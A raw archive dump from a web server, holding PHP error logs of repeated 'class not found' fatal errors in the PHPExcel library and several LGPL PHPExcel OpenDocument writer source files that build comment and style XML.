[25-Jun-2024 07:34:02 UTC] PHP Fatal error: Uncaught Error: Class 'PHPExcel_Writer_OpenDocument_WriterPart' not found in /home/papecmvm/public_html/application/libraries/PHPExcel/Writer/OpenDocument/MetaInf.php:28 Stack trace: #0 {main} thrown in /home/papecmvm/public_html/application/libraries/PHPExcel/Writer/OpenDocument/MetaInf.php on line 28 [25-Jun-2024 07:34:02 UTC] PHP Fatal error: Uncaught Error: Class 'PHPExcel_Writer_OpenDocument_WriterPart' not found in /home/papecmvm/public_html/application/libraries/PHPExcel/Writer/OpenDocument/Mimetype.php:28 Stack trace: #0 {main} thrown in /home/papecmvm/public_html/application/libraries/PHPExcel/Writer/OpenDocument/Mimetype.php on line 28 [25-Jun-2024 07:34:03 UTC] PHP Fatal error: Uncaught Error: Class 'PHPExcel_Writer_OpenDocument_WriterPart' not found in /home/papecmvm/public_html/application/libraries/PHPExcel/Writer/OpenDocument/Settings.php:28 Stack trace: #0 {main} thrown in /home/papecmvm/public_html/application/libraries/PHPExcel/Writer/OpenDocument/Settings.php on line 28 [25-Jun-2024 07:34:04 UTC] PHP Fatal error: Uncaught Error: Class 'PHPExcel_Writer_OpenDocument_WriterPart' not found in /home/papecmvm/public_html/application/libraries/PHPExcel/Writer/OpenDocument/Styles.php:28 Stack trace: #0 {main} thrown in /home/papecmvm/public_html/application/libraries/PHPExcel/Writer/OpenDocument/Styles.php on line 28 [25-Jun-2024 07:34:04 UTC] PHP Fatal error: Uncaught Error: Class 'PHPExcel_Writer_OpenDocument_WriterPart' not found in /home/papecmvm/public_html/application/libraries/PHPExcel/Writer/OpenDocument/Thumbnails.php:28 Stack trace: #0 {main} thrown in /home/papecmvm/public_html/application/libraries/PHPExcel/Writer/OpenDocument/Thumbnails.php on line 28 [25-Jun-2024 07:34:05 UTC] PHP Fatal error: Uncaught Error: Class 'PHPExcel_Writer_Excel2007_WriterPart' not found in /home/papecmvm/public_html/application/libraries/PHPExcel/Writer/OpenDocument/WriterPart.php:28 Stack trace: #0 {main} thrown in /home/papecmvm/public_html/application/libraries/PHPExcel/Writer/OpenDocument/WriterPart.php on line 28 [27-Jun-2024 12:35:38 UTC] PHP Fatal error: Uncaught Error: Class 'PHPExcel_Writer_Excel2007_WriterPart' not found in /home/papecmvm/public_html/application/libraries/PHPExcel/Writer/OpenDocument/WriterPart.php:28 Stack trace: #0 {main} thrown in /home/papecmvm/public_html/application/libraries/PHPExcel/Writer/OpenDocument/WriterPart.php on line 28 [27-Jun-2024 12:51:13 UTC] PHP Fatal error: Uncaught Error: Class 'PHPExcel_Writer_OpenDocument_WriterPart' not found in /home/papecmvm/public_html/application/libraries/PHPExcel/Writer/OpenDocument/Mimetype.php:28 Stack trace: #0 {main} thrown in /home/papecmvm/public_html/application/libraries/PHPExcel/Writer/OpenDocument/Mimetype.php on line 28 [27-Jun-2024 15:01:13 UTC] PHP Fatal error: Uncaught Error: Class 'PHPExcel_Writer_OpenDocument_WriterPart' not found in /home/papecmvm/public_html/application/libraries/PHPExcel/Writer/OpenDocument/MetaInf.php:28 Stack trace: #0 {main} thrown in /home/papecmvm/public_html/application/libraries/PHPExcel/Writer/OpenDocument/MetaInf.php on line 28 [27-Jun-2024 15:25:00 UTC] PHP Fatal error: Uncaught Error: Class 'PHPExcel_Writer_OpenDocument_WriterPart' not found in /home/papecmvm/public_html/application/libraries/PHPExcel/Writer/OpenDocument/Meta.php:28 Stack trace: #0 {main} thrown in /home/papecmvm/public_html/application/libraries/PHPExcel/Writer/OpenDocument/Meta.php on line 28 [27-Jun-2024 18:24:38 UTC] PHP Fatal error: Uncaught Error: Class 'PHPExcel_Writer_OpenDocument_WriterPart' not found in /home/papecmvm/public_html/application/libraries/PHPExcel/Writer/OpenDocument/Styles.php:28 Stack trace: #0 {main} thrown in /home/papecmvm/public_html/application/libraries/PHPExcel/Writer/OpenDocument/Styles.php on line 28 [28-Jun-2024 05:58:57 UTC] PHP Fatal error: Uncaught Error: Class 'PHPExcel_Writer_OpenDocument_WriterPart' not found in /home/papecmvm/public_html/application/libraries/PHPExcel/Writer/OpenDocument/Settings.php:28 Stack trace: #0 {main} thrown in /home/papecmvm/public_html/application/libraries/PHPExcel/Writer/OpenDocument/Settings.php on line 28 [28-Jun-2024 06:22:33 UTC] PHP Fatal error: Uncaught Error: Class 'PHPExcel_Writer_OpenDocument_WriterPart' not found in /home/papecmvm/public_html/application/libraries/PHPExcel/Writer/OpenDocument/Content.php:37 Stack trace: #0 {main} thrown in /home/papecmvm/public_html/application/libraries/PHPExcel/Writer/OpenDocument/Content.php on line 37 [28-Jun-2024 14:53:56 UTC] PHP Fatal error: Uncaught Error: Class 'PHPExcel_Writer_Excel2007_WriterPart' not found in /home/papecmvm/public_html/application/libraries/PHPExcel/Writer/OpenDocument/WriterPart.php:28 Stack trace: #0 {main} thrown in /home/papecmvm/public_html/application/libraries/PHPExcel/Writer/OpenDocument/WriterPart.php on line 28 [28-Jun-2024 14:59:29 UTC] PHP Fatal error: Uncaught Error: Class 'PHPExcel_Writer_OpenDocument_WriterPart' not found in /home/papecmvm/public_html/application/libraries/PHPExcel/Writer/OpenDocument/Mimetype.php:28 Stack trace: #0 {main} thrown in /home/papecmvm/public_html/application/libraries/PHPExcel/Writer/OpenDocument/Mimetype.php on line 28 [28-Jun-2024 17:46:52 UTC] PHP Fatal error: Uncaught Error: Class 'PHPExcel_Writer_OpenDocument_WriterPart' not found in /home/papecmvm/public_html/application/libraries/PHPExcel/Writer/OpenDocument/MetaInf.php:28 Stack trace: #0 {main} thrown in /home/papecmvm/public_html/application/libraries/PHPExcel/Writer/OpenDocument/MetaInf.php on line 28 [28-Jun-2024 17:53:36 UTC] PHP Fatal error: Uncaught Error: Class 'PHPExcel_Writer_OpenDocument_WriterPart' not found in /home/papecmvm/public_html/application/libraries/PHPExcel/Writer/OpenDocument/Meta.php:28 Stack trace: #0 {main} thrown in /home/papecmvm/public_html/application/libraries/PHPExcel/Writer/OpenDocument/Meta.php on line 28 [28-Jun-2024 18:25:54 UTC] PHP Fatal error: Uncaught Error: Class 'PHPExcel_Writer_OpenDocument_WriterPart' not found in /home/papecmvm/public_html/application/libraries/PHPExcel/Writer/OpenDocument/Thumbnails.php:28 Stack trace: #0 {main} thrown in /home/papecmvm/public_html/application/libraries/PHPExcel/Writer/OpenDocument/Thumbnails.php on line 28 [28-Jun-2024 20:52:13 UTC] PHP Fatal error: Uncaught Error: Class 'PHPExcel_Writer_OpenDocument_WriterPart' not found in /home/papecmvm/public_html/application/libraries/PHPExcel/Writer/OpenDocument/Styles.php:28 Stack trace: #0 {main} thrown in /home/papecmvm/public_html/application/libraries/PHPExcel/Writer/OpenDocument/Styles.php on line 28 [29-Jun-2024 03:52:11 UTC] PHP Fatal error: Uncaught Error: Class 'PHPExcel_Writer_OpenDocument_WriterPart' not found in /home/papecmvm/public_html/application/libraries/PHPExcel/Writer/OpenDocument/Meta.php:28 Stack trace: #0 {main} thrown in /home/papecmvm/public_html/application/libraries/PHPExcel/Writer/OpenDocument/Meta.php on line 28 [29-Jun-2024 04:01:40 UTC] PHP Fatal error: Uncaught Error: Class 'PHPExcel_Writer_OpenDocument_WriterPart' not found in /home/papecmvm/public_html/application/libraries/PHPExcel/Writer/OpenDocument/Styles.php:28 Stack trace: #0 {main} thrown in /home/papecmvm/public_html/application/libraries/PHPExcel/Writer/OpenDocument/Styles.php on line 28 [29-Jun-2024 23:47:56 UTC] PHP Fatal error: Uncaught Error: Class 'PHPExcel_Writer_OpenDocument_WriterPart' not found in /home/papecmvm/public_html/application/libraries/PHPExcel/Writer/OpenDocument/Styles.php:28 Stack trace: #0 {main} thrown in /home/papecmvm/public_html/application/libraries/PHPExcel/Writer/OpenDocument/Styles.php on line 28 [30-Jun-2024 01:20:57 UTC] PHP Fatal error: Uncaught Error: Class 'PHPExcel_Writer_Excel2007_WriterPart' not found in /home/papecmvm/public_html/application/libraries/PHPExcel/Writer/OpenDocument/WriterPart.php:28 Stack trace: #0 {main} thrown in /home/papecmvm/public_html/application/libraries/PHPExcel/Writer/OpenDocument/WriterPart.php on line 28 [30-Jun-2024 10:46:24 UTC] PHP Fatal error: Uncaught Error: Class 'PHPExcel_Writer_OpenDocument_WriterPart' not found in /home/papecmvm/public_html/application/libraries/PHPExcel/Writer/OpenDocument/Meta.php:28 Stack trace: #0 {main} thrown in /home/papecmvm/public_html/application/libraries/PHPExcel/Writer/OpenDocument/Meta.php on line 28 [01-Jul-2024 03:06:24 UTC] PHP Fatal error: Uncaught Error: Class 'PHPExcel_Writer_OpenDocument_WriterPart' not found in /home/papecmvm/public_html/application/libraries/PHPExcel/Writer/OpenDocument/Settings.php:28 Stack trace: #0 {main} thrown in /home/papecmvm/public_html/application/libraries/PHPExcel/Writer/OpenDocument/Settings.php on line 28 [01-Jul-2024 05:28:24 UTC] PHP Fatal error: Uncaught Error: Class 'PHPExcel_Writer_OpenDocument_WriterPart' not found in /home/papecmvm/public_html/application/libraries/PHPExcel/Writer/OpenDocument/Mimetype.php:28 Stack trace: #0 {main} thrown in /home/papecmvm/public_html/application/libraries/PHPExcel/Writer/OpenDocument/Mimetype.php on line 28 [01-Jul-2024 06:08:25 UTC] PHP Fatal error: Uncaught Error: Class 'PHPExcel_Writer_OpenDocument_WriterPart' not found in /home/papecmvm/public_html/application/libraries/PHPExcel/Writer/OpenDocument/Content.php:37 Stack trace: #0 {main} thrown in /home/papecmvm/public_html/application/libraries/PHPExcel/Writer/OpenDocument/Content.php on line 37 [01-Jul-2024 06:50:25 UTC] PHP Fatal error: Uncaught Error: Class 'PHPExcel_Writer_OpenDocument_WriterPart' not found in /home/papecmvm/public_html/application/libraries/PHPExcel/Writer/OpenDocument/MetaInf.php:28 Stack trace: #0 {main} thrown in /home/papecmvm/public_html/application/libraries/PHPExcel/Writer/OpenDocument/MetaInf.php on line 28 [03-Jul-2024 17:16:27 UTC] PHP Fatal error: Uncaught Error: Class 'PHPExcel_Writer_OpenDocument_WriterPart' not found in /home/papecmvm/public_html/application/libraries/PHPExcel/Writer/OpenDocument/Thumbnails.php:28 Stack trace: #0 {main} thrown in /home/papecmvm/public_html/application/libraries/PHPExcel/Writer/OpenDocument/Thumbnails.php on line 28 [04-Jul-2024 00:20:34 UTC] PHP Fatal error: Uncaught Error: Class 'PHPExcel_Writer_OpenDocument_WriterPart' not found in /home/papecmvm/public_html/application/libraries/PHPExcel/Writer/OpenDocument/Mimetype.php:28 Stack trace: #0 {main} thrown in /home/papecmvm/public_html/application/libraries/PHPExcel/Writer/OpenDocument/Mimetype.php on line 28 [04-Jul-2024 00:41:47 UTC] PHP Fatal error: Uncaught Error: Class 'PHPExcel_Writer_OpenDocument_WriterPart' not found in /home/papecmvm/public_html/application/libraries/PHPExcel/Writer/OpenDocument/MetaInf.php:28 Stack trace: #0 {main} thrown in /home/papecmvm/public_html/application/libraries/PHPExcel/Writer/OpenDocument/MetaInf.php on line 28 [04-Jul-2024 01:03:30 UTC] PHP Fatal error: Uncaught Error: Class 'PHPExcel_Writer_OpenDocument_WriterPart' not found in /home/papecmvm/public_html/application/libraries/PHPExcel/Writer/OpenDocument/Content.php:37 Stack trace: #0 {main} thrown in /home/papecmvm/public_html/application/libraries/PHPExcel/Writer/OpenDocument/Content.php on line 37 [04-Jul-2024 02:00:21 UTC] PHP Fatal error: Uncaught Error: Class 'PHPExcel_Writer_OpenDocument_WriterPart' not found in /home/papecmvm/public_html/application/libraries/PHPExcel/Writer/OpenDocument/Styles.php:28 Stack trace: #0 {main} thrown in /home/papecmvm/public_html/application/libraries/PHPExcel/Writer/OpenDocument/Styles.php on line 28 [04-Jul-2024 02:49:18 UTC] PHP Fatal error: Uncaught Error: Class 'PHPExcel_Writer_OpenDocument_WriterPart' not found in /home/papecmvm/public_html/application/libraries/PHPExcel/Writer/OpenDocument/Meta.php:28 Stack trace: #0 {main} thrown in /home/papecmvm/public_html/application/libraries/PHPExcel/Writer/OpenDocument/Meta.php on line 28 [04-Jul-2024 02:54:50 UTC] PHP Fatal error: Uncaught Error: Class 'PHPExcel_Writer_OpenDocument_WriterPart' not found in /home/papecmvm/public_html/application/libraries/PHPExcel/Writer/OpenDocument/Settings.php:28 Stack trace: #0 {main} thrown in /home/papecmvm/public_html/application/libraries/PHPExcel/Writer/OpenDocument/Settings.php on line 28 [04-Jul-2024 07:54:30 UTC] PHP Fatal error: Uncaught Error: Class 'PHPExcel_Writer_Excel2007_WriterPart' not found in /home/papecmvm/public_html/application/libraries/PHPExcel/Writer/OpenDocument/WriterPart.php:28 Stack trace: #0 {main} thrown in /home/papecmvm/public_html/application/libraries/PHPExcel/Writer/OpenDocument/WriterPart.php on line 28 PHPExcel/Writer/OpenDocument/Cell/Comment.php 0000644 00000005374 14642534107 0015041 0 ustar 00 <?php /** * PHPExcel * * Copyright (c) 2006 - 2015 PHPExcel * * This library is free software; you can redistribute it and/or * modify it under the terms of the GNU Lesser General Public * License as published by the Free Software Foundation; either * version 2.1 of the License, or (at your option) any later version. * * This library is distributed in the hope that it will be useful, * but WITHOUT ANY WARRANTY; without even the implied warranty of * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the GNU * Lesser General Public License for more details. * * You should have received a copy of the GNU Lesser General Public * License along with this library; if not, write to the Free Software * Foundation, Inc., 51 Franklin Street, Fifth Floor, Boston, MA 02110-1301 USA * * @category PHPExcel * @package PHPExcel_Writer_OpenDocument * @copyright Copyright (c) 2006 - 2015 PHPExcel (http://www.codeplex.com/PHPExcel) * @license http://www.gnu.org/licenses/old-licenses/lgpl-2.1.txt LGPL * @version ##VERSION##, ##DATE## */ /** * PHPExcel_Writer_OpenDocument_Cell_Comment * * @category PHPExcel * @package PHPExcel_Writer_OpenDocument * @copyright Copyright (c) 2006 - 2015 PHPExcel (http://www.codeplex.com/PHPExcel) * @author Alexander Pervakov <frost-nzcr4@jagmort.com> */ class PHPExcel_Writer_OpenDocument_Cell_Comment { public static function write(PHPExcel_Shared_XMLWriter $objWriter, PHPExcel_Cell $cell) { $comments = $cell->getWorksheet()->getComments(); if (!isset($comments[$cell->getCoordinate()])) { return; } $comment = $comments[$cell->getCoordinate()]; $objWriter->startElement('office:annotation'); //$objWriter->writeAttribute('draw:style-name', 'gr1'); //$objWriter->writeAttribute('draw:text-style-name', 'P1'); $objWriter->writeAttribute('svg:width', $comment->getWidth()); $objWriter->writeAttribute('svg:height', $comment->getHeight()); $objWriter->writeAttribute('svg:x', $comment->getMarginLeft()); $objWriter->writeAttribute('svg:y', $comment->getMarginTop()); //$objWriter->writeAttribute('draw:caption-point-x', $comment->getMarginLeft()); //$objWriter->writeAttribute('draw:caption-point-y', $comment->getMarginTop()); $objWriter->writeElement('dc:creator', $comment->getAuthor()); // TODO: Not realized in PHPExcel_Comment yet. //$objWriter->writeElement('dc:date', $comment->getDate()); $objWriter->writeElement('text:p', $comment->getText()->getPlainText()); //$objWriter->writeAttribute('draw:text-style-name', 'P1'); $objWriter->endElement(); } } PHPExcel/Writer/OpenDocument/WriterPart.php 0000644 00000002301 14642534107 0014646 0 ustar 00 <?php /** * PHPExcel_Writer_OpenDocument_WriterPart * * Copyright (c) 2006 - 2015 PHPExcel * * This library is free software; you can redistribute it and/or * modify it under the terms of the GNU Lesser General Public * License as published by the Free Software Foundation; either * version 2.1 of the License, or (at your option) any later version. * * This library is distributed in the hope that it will be useful, * but WITHOUT ANY WARRANTY; without even the implied warranty of * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the GNU * Lesser General Public License for more details. * * You should have received a copy of the GNU Lesser General Public * License along with this library; if not, write to the Free Software * Foundation, Inc., 51 Franklin Street, Fifth Floor, Boston, MA 02110-1301 USA * * @category PHPExcel * @package PHPExcel_Writer_OpenDocument * @copyright Copyright (c) 2006 - 2015 PHPExcel (http://www.codeplex.com/PHPExcel) * @license http://www.gnu.org/licenses/old-licenses/lgpl-2.1.txt LGPL * @version ##VERSION##, ##DATE## */ abstract class PHPExcel_Writer_OpenDocument_WriterPart extends PHPExcel_Writer_Excel2007_WriterPart { } PHPExcel/Writer/OpenDocument/Styles.php 0000644 00000012101 14642534107 0014025 0 ustar 00 <?php /** * PHPExcel_Writer_OpenDocument_Styles * * Copyright (c) 2006 - 2015 PHPExcel * * This library is free software; you can redistribute it and/or * modify it under the terms of the GNU Lesser General Public * License as published by the Free Software Foundation; either * version 2.1 of the License, or (at your option) any later version. * * This library is distributed in the hope that it will be useful, * but WITHOUT ANY WARRANTY; without even the implied warranty of * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the GNU * Lesser General Public License for more details. * * You should have received a copy of the GNU Lesser General Public * License along with this library; if not, write to the Free Software * Foundation, Inc., 51 Franklin Street, Fifth Floor, Boston, MA 02110-1301 USA * * @category PHPExcel * @package PHPExcel_Writer_OpenDocument * @copyright Copyright (c) 2006 - 2015 PHPExcel (http://www.codeplex.com/PHPExcel) * @license http://www.gnu.org/licenses/old-licenses/lgpl-2.1.txt LGPL * @version ##VERSION##, ##DATE## */ class PHPExcel_Writer_OpenDocument_Styles extends PHPExcel_Writer_OpenDocument_WriterPart { /** * Write styles.xml to XML format * * @param PHPExcel $pPHPExcel * @return string XML Output * @throws PHPExcel_Writer_Exception */ public function write(PHPExcel $pPHPExcel = null) { if (!$pPHPExcel) { $pPHPExcel = $this->getParentWriter()->getPHPExcel(); } $objWriter = null; if ($this->getParentWriter()->getUseDiskCaching()) { $objWriter = new PHPExcel_Shared_XMLWriter(PHPExcel_Shared_XMLWriter::STORAGE_DISK, $this->getParentWriter()->getDiskCachingDirectory()); } else { $objWriter = new PHPExcel_Shared_XMLWriter(PHPExcel_Shared_XMLWriter::STORAGE_MEMORY); } // XML header $objWriter->startDocument('1.0', 'UTF-8'); // Content $objWriter->startElement('office:document-styles'); $objWriter->writeAttribute('xmlns:office', 'urn:oasis:names:tc:opendocument:xmlns:office:1.0'); $objWriter->writeAttribute('xmlns:style', 'urn:oasis:names:tc:opendocument:xmlns:style:1.0'); $objWriter->writeAttribute('xmlns:text', 'urn:oasis:names:tc:opendocument:xmlns:text:1.0'); $objWriter->writeAttribute('xmlns:table', 'urn:oasis:names:tc:opendocument:xmlns:table:1.0'); $objWriter->writeAttribute('xmlns:draw', 'urn:oasis:names:tc:opendocument:xmlns:drawing:1.0'); $objWriter->writeAttribute('xmlns:fo', 'urn:oasis:names:tc:opendocument:xmlns:xsl-fo-compatible:1.0'); $objWriter->writeAttribute('xmlns:xlink', 'http://www.w3.org/1999/xlink'); $objWriter->writeAttribute('xmlns:dc', 'http://purl.org/dc/elements/1.1/'); $objWriter->writeAttribute('xmlns:meta', 'urn:oasis:names:tc:opendocument:xmlns:meta:1.0'); $objWriter->writeAttribute('xmlns:number', 'urn:oasis:names:tc:opendocument:xmlns:datastyle:1.0'); $objWriter->writeAttribute('xmlns:presentation', 'urn:oasis:names:tc:opendocument:xmlns:presentation:1.0'); $objWriter->writeAttribute('xmlns:svg', 'urn:oasis:names:tc:opendocument:xmlns:svg-compatible:1.0'); $objWriter->writeAttribute('xmlns:chart', 'urn:oasis:names:tc:opendocument:xmlns:chart:1.0'); $objWriter->writeAttribute('xmlns:dr3d', 'urn:oasis:names:tc:opendocument:xmlns:dr3d:1.0'); $objWriter->writeAttribute('xmlns:math', 'http://www.w3.org/1998/Math/MathML'); $objWriter->writeAttribute('xmlns:form', 'urn:oasis:names:tc:opendocument:xmlns:form:1.0'); $objWriter->writeAttribute('xmlns:script', 'urn:oasis:names:tc:opendocument:xmlns:script:1.0'); $objWriter->writeAttribute('xmlns:ooo', 'http://openoffice.org/2004/office'); $objWriter->writeAttribute('xmlns:ooow', 'http://openoffice.org/2004/writer'); $objWriter->writeAttribute('xmlns:oooc', 'http://openoffice.org/2004/calc'); $objWriter->writeAttribute('xmlns:dom', 'http://www.w3.org/2001/xml-events'); $objWriter->writeAttribute('xmlns:rpt', 'http://openoffice.org/2005/report'); $objWriter->writeAttribute('xmlns:of', 'urn:oasis:names:tc:opendocument:xmlns:of:1.2'); $objWriter->writeAttribute('xmlns:xhtml', 'http://www.w3.org/1999/xhtml'); $objWriter->writeAttribute('xmlns:grddl', 'http://www.w3.org/2003/g/data-view#'); $objWriter->writeAttribute('xmlns:tableooo', 'http://openoffice.org/2009/table'); $objWriter->writeAttribute('xmlns:css3t', 'http://www.w3.org/TR/css3-text/'); $objWriter->writeAttribute('office:version', '1.2'); $objWriter->writeElement('office:font-face-decls'); $objWriter->writeElement('office:styles'); $objWriter->writeElement('office:automatic-styles'); $objWriter->writeElement('office:master-styles'); $objWriter->endElement(); return $objWriter->getData(); } } PHPExcel/Writer/error_log 0000644 00000111101 14642534107 0011346 0 ustar 00 [11-May-2024 03:00:44 UTC] PHP Fatal error: Uncaught Error: Interface 'PHPExcel_Writer_IWriter' not found in /home/papecmvm/public_html/application/libraries/PHPExcel/Writer/Abstract.php:28 Stack trace: #0 {main} thrown in /home/papecmvm/public_html/application/libraries/PHPExcel/Writer/Abstract.php on line 28 [11-May-2024 03:00:46 UTC] PHP Fatal error: Uncaught Error: Class 'PHPExcel_Writer_Abstract' not found in /home/papecmvm/public_html/application/libraries/PHPExcel/Writer/CSV.php:28 Stack trace: #0 {main} thrown in /home/papecmvm/public_html/application/libraries/PHPExcel/Writer/CSV.php on line 28 [11-May-2024 03:00:48 UTC] PHP Fatal error: Uncaught Error: Class 'PHPExcel_Writer_Abstract' not found in /home/papecmvm/public_html/application/libraries/PHPExcel/Writer/Excel2007.php:28 Stack trace: #0 {main} thrown in /home/papecmvm/public_html/application/libraries/PHPExcel/Writer/Excel2007.php on line 28 [11-May-2024 03:00:51 UTC] PHP Fatal error: Uncaught Error: Class 'PHPExcel_Writer_Abstract' not found in /home/papecmvm/public_html/application/libraries/PHPExcel/Writer/Excel5.php:28 Stack trace: #0 {main} thrown in /home/papecmvm/public_html/application/libraries/PHPExcel/Writer/Excel5.php on line 28 [11-May-2024 03:00:53 UTC] PHP Fatal error: Uncaught Error: Class 'PHPExcel_Exception' not found in /home/papecmvm/public_html/application/libraries/PHPExcel/Writer/Exception.php:28 Stack trace: #0 {main} thrown in /home/papecmvm/public_html/application/libraries/PHPExcel/Writer/Exception.php on line 28 [11-May-2024 03:00:55 UTC] PHP Fatal error: Uncaught Error: Class 'PHPExcel_Writer_Abstract' not found in /home/papecmvm/public_html/application/libraries/PHPExcel/Writer/HTML.php:28 Stack trace: #0 {main} thrown in /home/papecmvm/public_html/application/libraries/PHPExcel/Writer/HTML.php on line 28 [11-May-2024 03:00:59 UTC] PHP Fatal error: Uncaught Error: Class 'PHPExcel_Writer_Abstract' not found in /home/papecmvm/public_html/application/libraries/PHPExcel/Writer/OpenDocument.php:28 Stack trace: #0 {main} thrown in /home/papecmvm/public_html/application/libraries/PHPExcel/Writer/OpenDocument.php on line 28 [11-May-2024 03:01:02 UTC] PHP Fatal error: Uncaught Error: Interface 'PHPExcel_Writer_IWriter' not found in /home/papecmvm/public_html/application/libraries/PHPExcel/Writer/PDF.php:28 Stack trace: #0 {main} thrown in /home/papecmvm/public_html/application/libraries/PHPExcel/Writer/PDF.php on line 28 [20-May-2024 10:19:17 UTC] PHP Fatal error: Uncaught Error: Class 'PHPExcel_Writer_Abstract' not found in /home/papecmvm/public_html/application/libraries/PHPExcel/Writer/OpenDocument.php:28 Stack trace: #0 {main} thrown in /home/papecmvm/public_html/application/libraries/PHPExcel/Writer/OpenDocument.php on line 28 [20-May-2024 10:19:41 UTC] PHP Fatal error: Uncaught Error: Class 'PHPExcel_Exception' not found in /home/papecmvm/public_html/application/libraries/PHPExcel/Writer/Exception.php:28 Stack trace: #0 {main} thrown in /home/papecmvm/public_html/application/libraries/PHPExcel/Writer/Exception.php on line 28 [20-May-2024 10:22:53 UTC] PHP Fatal error: Uncaught Error: Interface 'PHPExcel_Writer_IWriter' not found in /home/papecmvm/public_html/application/libraries/PHPExcel/Writer/Abstract.php:28 Stack trace: #0 {main} thrown in /home/papecmvm/public_html/application/libraries/PHPExcel/Writer/Abstract.php on line 28 [20-May-2024 10:23:17 UTC] PHP Fatal error: Uncaught Error: Class 'PHPExcel_Writer_Abstract' not found in /home/papecmvm/public_html/application/libraries/PHPExcel/Writer/Excel2007.php:28 Stack trace: #0 {main} thrown in /home/papecmvm/public_html/application/libraries/PHPExcel/Writer/Excel2007.php on line 28 [20-May-2024 11:11:32 UTC] PHP Fatal error: Uncaught Error: Interface 'PHPExcel_Writer_IWriter' not found in /home/papecmvm/public_html/application/libraries/PHPExcel/Writer/PDF.php:28 Stack trace: #0 {main} thrown in /home/papecmvm/public_html/application/libraries/PHPExcel/Writer/PDF.php on line 28 [20-May-2024 11:39:50 UTC] PHP Fatal error: Uncaught Error: Class 'PHPExcel_Writer_Abstract' not found in /home/papecmvm/public_html/application/libraries/PHPExcel/Writer/Excel5.php:28 Stack trace: #0 {main} thrown in /home/papecmvm/public_html/application/libraries/PHPExcel/Writer/Excel5.php on line 28 [20-May-2024 14:44:18 UTC] PHP Fatal error: Uncaught Error: Class 'PHPExcel_Writer_Abstract' not found in /home/papecmvm/public_html/application/libraries/PHPExcel/Writer/HTML.php:28 Stack trace: #0 {main} thrown in /home/papecmvm/public_html/application/libraries/PHPExcel/Writer/HTML.php on line 28 [20-May-2024 15:42:11 UTC] PHP Fatal error: Uncaught Error: Class 'PHPExcel_Writer_Abstract' not found in /home/papecmvm/public_html/application/libraries/PHPExcel/Writer/CSV.php:28 Stack trace: #0 {main} thrown in /home/papecmvm/public_html/application/libraries/PHPExcel/Writer/CSV.php on line 28 [26-May-2024 13:23:58 UTC] PHP Fatal error: Uncaught Error: Class 'PHPExcel_Writer_Abstract' not found in /home/papecmvm/public_html/application/libraries/PHPExcel/Writer/HTML.php:28 Stack trace: #0 {main} thrown in /home/papecmvm/public_html/application/libraries/PHPExcel/Writer/HTML.php on line 28 [26-May-2024 13:48:11 UTC] PHP Fatal error: Uncaught Error: Interface 'PHPExcel_Writer_IWriter' not found in /home/papecmvm/public_html/application/libraries/PHPExcel/Writer/PDF.php:28 Stack trace: #0 {main} thrown in /home/papecmvm/public_html/application/libraries/PHPExcel/Writer/PDF.php on line 28 [26-May-2024 18:39:55 UTC] PHP Fatal error: Uncaught Error: Class 'PHPExcel_Exception' not found in /home/papecmvm/public_html/application/libraries/PHPExcel/Writer/Exception.php:28 Stack trace: #0 {main} thrown in /home/papecmvm/public_html/application/libraries/PHPExcel/Writer/Exception.php on line 28 [26-May-2024 20:15:09 UTC] PHP Fatal error: Uncaught Error: Interface 'PHPExcel_Writer_IWriter' not found in /home/papecmvm/public_html/application/libraries/PHPExcel/Writer/Abstract.php:28 Stack trace: #0 {main} thrown in /home/papecmvm/public_html/application/libraries/PHPExcel/Writer/Abstract.php on line 28 [26-May-2024 23:38:42 UTC] PHP Fatal error: Uncaught Error: Class 'PHPExcel_Writer_Abstract' not found in /home/papecmvm/public_html/application/libraries/PHPExcel/Writer/Excel2007.php:28 Stack trace: #0 {main} thrown in /home/papecmvm/public_html/application/libraries/PHPExcel/Writer/Excel2007.php on line 28 [27-May-2024 01:33:46 UTC] PHP Fatal error: Uncaught Error: Class 'PHPExcel_Writer_Abstract' not found in /home/papecmvm/public_html/application/libraries/PHPExcel/Writer/HTML.php:28 Stack trace: #0 {main} thrown in /home/papecmvm/public_html/application/libraries/PHPExcel/Writer/HTML.php on line 28 [27-May-2024 05:22:55 UTC] PHP Fatal error: Uncaught Error: Interface 'PHPExcel_Writer_IWriter' not found in /home/papecmvm/public_html/application/libraries/PHPExcel/Writer/PDF.php:28 Stack trace: #0 {main} thrown in /home/papecmvm/public_html/application/libraries/PHPExcel/Writer/PDF.php on line 28 [27-May-2024 09:50:49 UTC] PHP Fatal error: Uncaught Error: Class 'PHPExcel_Writer_Abstract' not found in /home/papecmvm/public_html/application/libraries/PHPExcel/Writer/Excel5.php:28 Stack trace: #0 {main} thrown in /home/papecmvm/public_html/application/libraries/PHPExcel/Writer/Excel5.php on line 28 [27-May-2024 10:25:22 UTC] PHP Fatal error: Uncaught Error: Class 'PHPExcel_Writer_Abstract' not found in /home/papecmvm/public_html/application/libraries/PHPExcel/Writer/OpenDocument.php:28 Stack trace: #0 {main} thrown in /home/papecmvm/public_html/application/libraries/PHPExcel/Writer/OpenDocument.php on line 28 [27-May-2024 11:48:52 UTC] PHP Fatal error: Uncaught Error: Class 'PHPExcel_Writer_Abstract' not found in /home/papecmvm/public_html/application/libraries/PHPExcel/Writer/CSV.php:28 Stack trace: #0 {main} thrown in /home/papecmvm/public_html/application/libraries/PHPExcel/Writer/CSV.php on line 28 [28-May-2024 02:07:42 UTC] PHP Fatal error: Uncaught Error: Interface 'PHPExcel_Writer_IWriter' not found in /home/papecmvm/public_html/application/libraries/PHPExcel/Writer/Abstract.php:28 Stack trace: #0 {main} thrown in /home/papecmvm/public_html/application/libraries/PHPExcel/Writer/Abstract.php on line 28 [28-May-2024 02:07:43 UTC] PHP Fatal error: Uncaught Error: Class 'PHPExcel_Writer_Abstract' not found in /home/papecmvm/public_html/application/libraries/PHPExcel/Writer/CSV.php:28 Stack trace: #0 {main} thrown in /home/papecmvm/public_html/application/libraries/PHPExcel/Writer/CSV.php on line 28 [28-May-2024 02:07:44 UTC] PHP Fatal error: Uncaught Error: Class 'PHPExcel_Exception' not found in /home/papecmvm/public_html/application/libraries/PHPExcel/Writer/Exception.php:28 Stack trace: #0 {main} thrown in /home/papecmvm/public_html/application/libraries/PHPExcel/Writer/Exception.php on line 28 [28-May-2024 02:07:45 UTC] PHP Fatal error: Uncaught Error: Interface 'PHPExcel_Writer_IWriter' not found in /home/papecmvm/public_html/application/libraries/PHPExcel/Writer/PDF.php:28 Stack trace: #0 